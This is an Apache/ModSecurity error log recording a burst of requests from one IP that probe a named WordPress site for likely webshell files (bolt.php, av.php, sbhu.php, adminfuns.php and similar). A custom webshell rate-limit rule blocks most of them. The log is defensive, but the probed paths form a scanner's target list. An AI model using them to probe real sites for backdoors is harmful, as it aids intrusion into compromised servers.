[Tue Apr 21 17:58:58.440089 2026] [:error] [pid 4823:tid 4865] [client 20.199.181.135:45908] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/w2025.php"] [unique_id "aedKYvc8mke3PfHqsxHl0gAAAYw"]
[Tue Apr 21 17:58:58.912380 2026] [:error] [pid 35321:tid 35398] [client 20.199.181.135:65393] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/w2025.php"] [unique_id "aedKYjeHLhVUuu8cVXwSkAAAAE4"]
[Tue Apr 21 17:58:59.386238 2026] [:error] [pid 35321:tid 35386] [client 20.199.181.135:65364] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/w2025.php"] [unique_id "aedKYzeHLhVUuu8cVXwSkgAAAEI"]
[Tue Apr 21 17:58:59.862275 2026] [:error] [pid 35320:tid 35334] [client 20.199.181.135:65371] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/w2025.php"] [unique_id "aedKY4JW6fdXWO6agMFmNQAAAAQ"]
[Tue Apr 21 17:59:00.338730 2026] [:error] [pid 35321:tid 35384] [client 20.199.181.135:65367] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fvvff.php"] [unique_id "aedKZDeHLhVUuu8cVXwSkwAAAEA"]
[Tue Apr 21 17:59:00.816958 2026] [:error] [pid 35321:tid 35388] [client 20.199.181.135:45925] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fvvff.php"] [unique_id "aedKZDeHLhVUuu8cVXwSlgAAAEQ"]
[Tue Apr 21 17:59:01.299030 2026] [proxy_fcgi:error] [pid 35321:tid 35407] [client 20.199.181.135:50680] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:59:02.966636 2026] [proxy_fcgi:error] [pid 35321:tid 35406] [client 20.199.181.135:50680] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:59:03.206069 2026] [proxy_fcgi:error] [pid 35321:tid 35398] [client 20.199.181.135:50680] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:59:03.449291 2026] [proxy_fcgi:error] [pid 35321:tid 35391] [client 20.199.181.135:50680] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:59:03.928776 2026] [proxy_fcgi:error] [pid 35321:tid 35400] [client 20.199.181.135:50680] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:59:04.171088 2026] [proxy_fcgi:error] [pid 35321:tid 35397] [client 20.199.181.135:50680] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:59:04.413753 2026] [proxy_fcgi:error] [pid 35321:tid 35398] [client 20.199.181.135:50680] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:59:04.655838 2026] [proxy_fcgi:error] [pid 35321:tid 35391] [client 20.199.181.135:50680] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:59:04.896150 2026] [proxy_fcgi:error] [pid 35321:tid 35390] [client 20.199.181.135:50680] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:59:05.137778 2026] [proxy_fcgi:error] [pid 35321:tid 35407] [client 20.199.181.135:50680] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:59:05.374137 2026] [:error] [pid 35321:tid 35406] [client 20.199.181.135:50680] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/av.php"] [unique_id "aedKaTeHLhVUuu8cVXwStwAAAFY"]
[Tue Apr 21 17:59:05.845768 2026] [:error] [pid 35320:tid 35333] [client 20.199.181.135:5136] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/av.php"] [unique_id "aedKaYJW6fdXWO6agMFmTQAAAAM"]
[Tue Apr 21 17:59:06.316838 2026] [:error] [pid 35321:tid 35407] [client 20.199.181.135:51219] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/av.php"] [unique_id "aedKajeHLhVUuu8cVXwSvQAAAFc"]
[Tue Apr 21 17:59:06.788307 2026] [:error] [pid 35321:tid 35406] [client 20.199.181.135:47125] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/av.php"] [unique_id "aedKajeHLhVUuu8cVXwSwQAAAFY"]
[Tue Apr 21 17:59:07.260212 2026] [:error] [pid 35320:tid 35337] [client 20.199.181.135:47128] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aedKa4JW6fdXWO6agMFmUAAAAAc"]
[Tue Apr 21 17:59:07.733121 2026] [:error] [pid 35320:tid 35349] [client 20.199.181.135:45897] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aedKa4JW6fdXWO6agMFmUQAAABM"]
[Tue Apr 21 17:59:08.204121 2026] [:error] [pid 53978:tid 53984] [client 20.199.181.135:5128] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aedKbJ1ivsR4hcOSQbbrBgAAAoQ"]
[Tue Apr 21 17:59:08.676682 2026] [:error] [pid 35321:tid 35401] [client 20.199.181.135:45899] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aedKbDeHLhVUuu8cVXwSxgAAAFE"]
[Tue Apr 21 17:59:09.152021 2026] [:error] [pid 53978:tid 53998] [client 20.199.181.135:65381] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-act.php"] [unique_id "aedKbZ1ivsR4hcOSQbbrCwAAApI"]
[Tue Apr 21 17:59:09.622963 2026] [:error] [pid 53978:tid 53993] [client 20.199.181.135:65377] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-act.php"] [unique_id "aedKbZ1ivsR4hcOSQbbrDQAAAo0"]
[Tue Apr 21 17:59:10.096681 2026] [:error] [pid 53731:tid 53760] [client 20.199.181.135:5312] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-act.php"] [unique_id "aedKbl2I9THUR-bRVGwhrgAAAhg"]
[Tue Apr 21 17:59:10.574285 2026] [:error] [pid 53978:tid 53995] [client 20.199.181.135:5371] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-act.php"] [unique_id "aedKbp1ivsR4hcOSQbbrEgAAAo8"]
[Tue Apr 21 17:59:11.046854 2026] [:error] [pid 53731:tid 53755] [client 20.199.181.135:63957] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aaa.php"] [unique_id "aedKb12I9THUR-bRVGwhrwAAAhM"]
[Tue Apr 21 17:59:11.517997 2026] [:error] [pid 35415:tid 35445] [client 20.199.181.135:63978] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aaa.php"] [unique_id "aedKb0iqDinI4_22zzhlcAAAANI"]
[Tue Apr 21 17:59:11.990946 2026] [:error] [pid 35320:tid 35344] [client 20.199.181.135:5149] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aaa.php"] [unique_id "aedKb4JW6fdXWO6agMFmWgAAAA4"]
[Tue Apr 21 17:59:12.462129 2026] [:error] [pid 35415:tid 35438] [client 20.199.181.135:63937] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/aaa.php"] [unique_id "aedKcEiqDinI4_22zzhlcgAAAMs"]
[Tue Apr 21 17:59:12.934132 2026] [:error] [pid 53731:tid 53752] [client 20.199.181.135:65386] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aedKcF2I9THUR-bRVGwhsgAAAhA"]
[Tue Apr 21 17:59:13.414310 2026] [:error] [pid 53731:tid 53737] [client 20.199.181.135:47105] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aedKcV2I9THUR-bRVGwhswAAAgI"]
[Tue Apr 21 17:59:13.888153 2026] [:error] [pid 35320:tid 35333] [client 20.199.181.135:63940] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aedKcYJW6fdXWO6agMFmZgAAAAM"]
[Tue Apr 21 17:59:14.359918 2026] [:error] [pid 53731:tid 53747] [client 20.199.181.135:65362] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aedKcl2I9THUR-bRVGwhtQAAAgw"]
[Tue Apr 21 17:59:14.832168 2026] [:error] [pid 53731:tid 53738] [client 20.199.181.135:5175] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aedKcl2I9THUR-bRVGwhtgAAAgM"]
[Tue Apr 21 17:59:15.303985 2026] [:error] [pid 53731:tid 53754] [client 20.199.181.135:5351] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aedKc12I9THUR-bRVGwhuQAAAhI"]
[Tue Apr 21 17:59:15.775996 2026] [:error] [pid 53731:tid 53745] [client 20.199.181.135:5560] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aedKc12I9THUR-bRVGwhugAAAgo"]
[Tue Apr 21 17:59:16.249195 2026] [:error] [pid 35321:tid 35400] [client 20.199.181.135:47154] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/themes/index.php"] [unique_id "aedKdDeHLhVUuu8cVXwS0wAAAFA"]
[Tue Apr 21 17:59:16.721679 2026] [:error] [pid 35321:tid 35387] [client 20.199.181.135:63922] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aedKdDeHLhVUuu8cVXwS2QAAAEM"]
[Tue Apr 21 17:59:17.194349 2026] [:error] [pid 35321:tid 35404] [client 20.199.181.135:63991] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aedKdTeHLhVUuu8cVXwS2wAAAFQ"]
[Tue Apr 21 17:59:17.667666 2026] [:error] [pid 53832:tid 53844] [client 20.199.181.135:63980] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aedKddzkuxsE_OhM9UJN-QAAAkk"]
[Tue Apr 21 17:59:18.142383 2026] [:error] [pid 53832:tid 53854] [client 20.199.181.135:63902] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sbhu.php"] [unique_id "aedKdtzkuxsE_OhM9UJN-wAAAlM"]
[Tue Apr 21 17:59:18.615800 2026] [:error] [pid 53832:tid 53835] [client 20.199.181.135:65387] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aedKdtzkuxsE_OhM9UJN_gAAAkA"]
[Tue Apr 21 17:59:19.093529 2026] [:error] [pid 53832:tid 53840] [client 20.199.181.135:5120] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aedKd9zkuxsE_OhM9UJOAAAAAkU"]
[Tue Apr 21 17:59:19.565949 2026] [:error] [pid 54080:tid 54097] [client 20.199.181.135:65346] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aedKd4zEbQHHxtmWbaaPDQAAAs8"]
[Tue Apr 21 17:59:20.037322 2026] [:error] [pid 54080:tid 54101] [client 20.199.181.135:5142] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-blog.php"] [unique_id "aedKeIzEbQHHxtmWbaaPDwAAAtM"]
[Tue Apr 21 17:59:20.515645 2026] [:error] [pid 35321:tid 35406] [client 20.199.181.135:5349] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aedKeDeHLhVUuu8cVXwS5AAAAFY"]
[Tue Apr 21 17:59:20.987073 2026] [:error] [pid 35320:tid 35347] [client 20.199.181.135:49094] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aedKeIJW6fdXWO6agMFmggAAABE"]
[Tue Apr 21 17:59:21.459677 2026] [:error] [pid 35321:tid 35385] [client 20.199.181.135:63981] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aedKeTeHLhVUuu8cVXwS6AAAAEE"]
[Tue Apr 21 17:59:21.933177 2026] [:error] [pid 35321:tid 35384] [client 20.199.181.135:63998] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/js/jquery/"] [unique_id "aedKeTeHLhVUuu8cVXwS6gAAAEA"]
[Tue Apr 21 17:59:22.405498 2026] [:error] [pid 35321:tid 35394] [client 20.199.181.135:65407] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aedKejeHLhVUuu8cVXwS7wAAAEo"]
[Tue Apr 21 17:59:22.886192 2026] [:error] [pid 35321:tid 35392] [client 20.199.181.135:49097] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aedKejeHLhVUuu8cVXwS9AAAAEg"]
[Tue Apr 21 17:59:23.359371 2026] [:error] [pid 35320:tid 35350] [client 20.199.181.135:5321] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aedKe4JW6fdXWO6agMFmhgAAABQ"]
[Tue Apr 21 17:59:23.831406 2026] [:error] [pid 35320:tid 35335] [client 20.199.181.135:5505] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aedKe4JW6fdXWO6agMFmiQAAAAU"]
[Tue Apr 21 17:59:24.304024 2026] [:error] [pid 35320:tid 35347] [client 20.199.181.135:51254] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aedKfIJW6fdXWO6agMFmjAAAABE"]
[Tue Apr 21 17:59:24.775098 2026] [:error] [pid 35321:tid 35402] [client 20.199.181.135:5509] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aedKfDeHLhVUuu8cVXwS-QAAAFI"]
[Tue Apr 21 17:59:25.249114 2026] [:error] [pid 35320:tid 35352] [client 20.199.181.135:49101] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aedKfYJW6fdXWO6agMFmkgAAABY"]
[Tue Apr 21 17:59:25.725421 2026] [:error] [pid 53731:tid 53752] [client 20.199.181.135:65355] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aedKfV2I9THUR-bRVGwhwgAAAhA"]
[Tue Apr 21 17:59:26.197349 2026] [:error] [pid 4823:tid 4877] [client 20.199.181.135:49109] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aedKfvc8mke3PfHqsxHl2QAAAZg"]
[Tue Apr 21 17:59:26.669726 2026] [:error] [pid 53978:tid 53989] [client 20.199.181.135:5563] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aedKfp1ivsR4hcOSQbbrNQAAAok"]
[Tue Apr 21 17:59:27.142078 2026] [:error] [pid 53978:tid 54003] [client 20.199.181.135:5327] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/adminfuns.php"] [unique_id "aedKf51ivsR4hcOSQbbrOgAAApc"]
